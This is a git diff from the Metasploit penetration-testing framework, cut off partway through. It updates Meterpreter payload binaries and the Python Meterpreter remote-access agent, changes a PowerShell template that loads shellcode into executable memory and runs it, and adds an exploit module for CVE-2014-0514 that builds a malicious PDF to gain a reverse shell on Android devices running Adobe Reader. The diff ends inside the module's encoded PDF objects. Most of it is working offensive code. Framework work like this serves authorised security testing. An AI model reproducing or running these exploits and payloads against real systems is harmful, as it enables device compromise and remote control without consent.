diff --git a/.mailmap b/.mailmap index 713206e261..79a858c2a7 100644 --- a/.mailmap +++ b/.mailmap @@ -18,6 +18,7 @@ todb-r7 Tod Beardsley todb-r7 Tod Beardsley todb-r7 Tod Beardsley trosen-r7 Trevor Rosen +trosen-r7 Trevor Rosen wchen-r7 sinn3r # aka sinn3r wchen-r7 sinn3r wchen-r7 Wei Chen diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b0614159d5..fccd9c49a7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### New Modules * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. #### Library Code diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e..57e86cd85b 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 29eda9c903..ff39e87f11 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b..0000000000 Binary files a/data/android/apk/res/drawable-mdpi/icon.png and /dev/null differ diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml deleted file mode 100644 index 23d9bacad3..0000000000 Binary files a/data/android/apk/res/layout/main.xml and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45e..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so new file mode 100644 index 0000000000..d5b8051f7e Binary files /dev/null and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so new file mode 100644 index 0000000000..973ffe39a7 Binary files /dev/null and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so new file mode 100644 index 0000000000..2ebc0a6bcc Binary files /dev/null and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 9fcffba058..35e3ddf6b5 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d6315..6803307a5f 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 83c879c582..5fd680fa8f 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 05850b7398..408b3f92c8 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -20,6 +20,7 @@ arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; +arch_mipsle = "mipsle"; window.os_detect = {}; @@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; - if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; - } + } else if (platform.match(/x86/)) { + arch = arch_x86; + } else if (platform.match(/mips/)) { + arch = arch_mipsle; + } + + + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib old mode 100755 new mode 100644 index dc6eda3974..7513cc3ae8 Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll old mode 100755 new mode 100644 index 51a59e0838..9a353967d2 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll old mode 100755 new mode 100644 index f8c755ae31..974215b428 Binary files a/data/meterpreter/elevator.x86.dll and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll old mode 100755 new mode 100644 index 2595bdaa8f..b8adaf28ba Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll old mode 100755 new mode 100644 index 939cbb2e0f..334cb5a732 Binary files a/data/meterpreter/ext_server_espia.x86.dll and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll old mode 100755 new mode 100644 index 01831d3576..2d7db95f3d Binary files a/data/meterpreter/ext_server_extapi.x64.dll and b/data/meterpreter/ext_server_extapi.x64.dll differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll old mode 100755 new mode 100644 index a4eefd7506..48e587c34d Binary files a/data/meterpreter/ext_server_extapi.x86.dll and b/data/meterpreter/ext_server_extapi.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll old mode 100755 new mode 100644 index d919cc4810..ef9e901f2e Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll old mode 100755 new mode 100644 index 3dc39f8532..522583236b Binary files a/data/meterpreter/ext_server_incognito.x86.dll and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_kiwi.x64.dll b/data/meterpreter/ext_server_kiwi.x64.dll old mode 100755 new mode 100644 index a95d1c2f32..7fafda84e7 Binary files a/data/meterpreter/ext_server_kiwi.x64.dll and b/data/meterpreter/ext_server_kiwi.x64.dll differ diff --git a/data/meterpreter/ext_server_kiwi.x86.dll b/data/meterpreter/ext_server_kiwi.x86.dll old mode 100755 new mode 100644 index 5348692063..72fd9503ca Binary files a/data/meterpreter/ext_server_kiwi.x86.dll and b/data/meterpreter/ext_server_kiwi.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll old mode 100755 new mode 100644 index 69577b3010..8d4a012825 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll old mode 100755 new mode 100644 index 0ea7c89b88..91b78bf27e Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll old mode 100755 new mode 100644 index 85f80e2051..f5cf20f007 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll old mode 100755 new mode 100644 index 7448559c11..6c0eca1e1f Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll old mode 100755 new mode 100644 index 9c91f1f7e4..a546eee463 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll old mode 100755 new mode 100644 index 266ece2e29..c231d5225c Binary files a/data/meterpreter/ext_server_priv.x86.dll and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee014..b6a01cac09 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ae9cab6cb8..ed7e58701a 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -48,6 +48,24 @@ try: except ImportError: has_winreg = False +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) + +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int + if has_ctypes: # # Windows Structures @@ -498,11 +516,12 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} - @export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 @@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: @@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + @export def tlv_pack(*args): if len(args) == 2: @@ -170,20 +173,33 @@ def tlv_pack(*args): else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + #@export class MeterpreterSocket(object): def __init__(self, sock): @@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - for byte in iter(lambda: self.std.read(1), ''): + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() @@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread): def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] + self.data_lock.release() + return data + + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] self.data_lock.release() return data @@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) export(STDProcess) class PythonMeterpreter(object): @@ -251,7 +285,7 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) self.running = True @@ -265,6 +299,7 @@ class PythonMeterpreter(object): return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -286,7 +321,7 @@ class PythonMeterpreter(object): break req_length, req_type = struct.unpack('>II', request) req_length -= 8 - request = '' + request = bytes() while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) @@ -294,17 +329,17 @@ class PythonMeterpreter(object): else: channels_for_removal = [] # iterate over the keys because self.channels could be modified if one is closed - channel_ids = self.channels.keys() + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, MeterpreterSocketClient): @@ -312,7 +347,7 @@ class PythonMeterpreter(object): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break @@ -357,13 +392,13 @@ class PythonMeterpreter(object): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() + preloadlib_methods = list(self.extension_functions.keys()) symbols_for_extensions = {'meterpreter':self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + postloadlib_methods = list(self.extension_functions.keys()) + new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response @@ -386,10 +421,10 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() + elif isinstance(channel, MeterpreterFile): + channel.close() elif isinstance(channel, MeterpreterSocket): channel.close() else: @@ -405,7 +440,7 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): + if isinstance(channel, MeterpreterFile): result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -432,13 +467,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: @@ -454,13 +489,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) + channel.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) @@ -485,13 +520,17 @@ class PythonMeterpreter(object): if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + if DEBUGGING: + print('[*] running method ' + handler_name) result, resp = handler(request, resp) - except Exception, err: - #print("[-] method {0} resulted in an error".format(handler_name)) + except Exception: + if DEBUGGING: + print('[-] method ' + handler_name + ' resulted in an error') + traceback.print_exc(file=sys.stderr) result = ERROR_FAILURE else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) + if DEBUGGING: + print('[-] method ' + handler_name + ' was requested but does not exist') result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp @@ -499,6 +538,9 @@ class PythonMeterpreter(object): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() + try: + os.setsid() + except OSError: + pass met = PythonMeterpreter(s) met.run() diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll old mode 100755 new mode 100644 index d1db92c52b..158a433560 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll old mode 100755 new mode 100644 index 65ff54d2ce..da6711a724 Binary files a/data/meterpreter/metsrv.x86.dll and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll old mode 100755 new mode 100644 index 0958c1e931..8a2a55fc18 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll old mode 100755 new mode 100644 index 93bf2e1778..ccfed0c0ef Binary files a/data/meterpreter/screenshot.x86.dll and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/templates/scripts/to_mem_old.ps1.template b/data/templates/scripts/to_mem_old.ps1.template index bbd85c1bfb..772fef7baf 100644 --- a/data/templates/scripts/to_mem_old.ps1.template +++ b/data/templates/scripts/to_mem_old.ps1.template @@ -11,10 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n %{shellcode} -$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40) +$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40) for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { - $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null + $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null } $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html index dadb7e32f5..13542c299d 100644 --- a/data/webcam/answerer.html +++ b/data/webcam/answerer.html @@ -10,7 +10,7 @@ height: 480px; width: 640px; border-radius: 15px; - -moz-border-raidus: 15px; + -moz-border-radius: 15px; background-color: black; position: absolute; left: 50; @@ -26,7 +26,7 @@ height: 180px; width: 200px; border-radius: 15px; - -moz-border-raidus: 15px; + -moz-border-radius: 15px; background-color: #9B9B9B; position: absolute; top: 480; @@ -66,8 +66,9 @@ left: 10; } - " + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end end -end \ No newline at end of file + + def html(arch) + "" + end +end diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb new file mode 100644 index 0000000000..bae26457c4 --- /dev/null +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/fileformat' +require 'msf/core/exploit/pdf' +require 'msf/core/exploit/android' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Android + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', + 'Description' => %q{ + Adobe Reader versions less than 11.2.0 exposes insecure native + interfaces to untrusted javascript in a PDF. This module embeds the browser + exploit from android/webview_addjavascriptinterface into a PDF to get a + command shell on vulnerable versions of Reader. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # discoverer + 'joev' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0514' ], + [ 'EDB', '32884' ], + [ 'OSVDB', '105781' ], + ], + 'Platform' => 'android', + 'DefaultOptions' => { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp' + }, + 'Targets' => [ + [ 'Android ARM', { + 'Platform' => 'android', + 'Arch' => ARCH_ARMLE + } + ], + [ 'Android MIPSLE', { + 'Platform' => 'android', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'Android X86', { + 'Platform' => 'android', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => 'Apr 13 2014', + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), + ], self.class) + end + + def exploit + print_status("Generating Javascript exploit...") + js = add_javascript_interface_exploit_js(ARCH_ARMLE) + print_status("Creating PDF...") + file_create(pdf(js)) + end + + def trailer(root_obj) + id = @xref.keys.max+1 + "trailer" << eol << "<>" << eol + end + + def add_compressed(n, data) + add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) + end + + def pdf(js) + self.eol = "\x0d" + @xref = {} + @pdf = header('1.6') + + add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") + add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") + add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r") + add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo") + add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a") + add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==") + add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6") + add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=") + add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR") + add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD") + add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=") + add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=") + add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==") + add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==") + add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA") + add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=") + add_compressed(34, 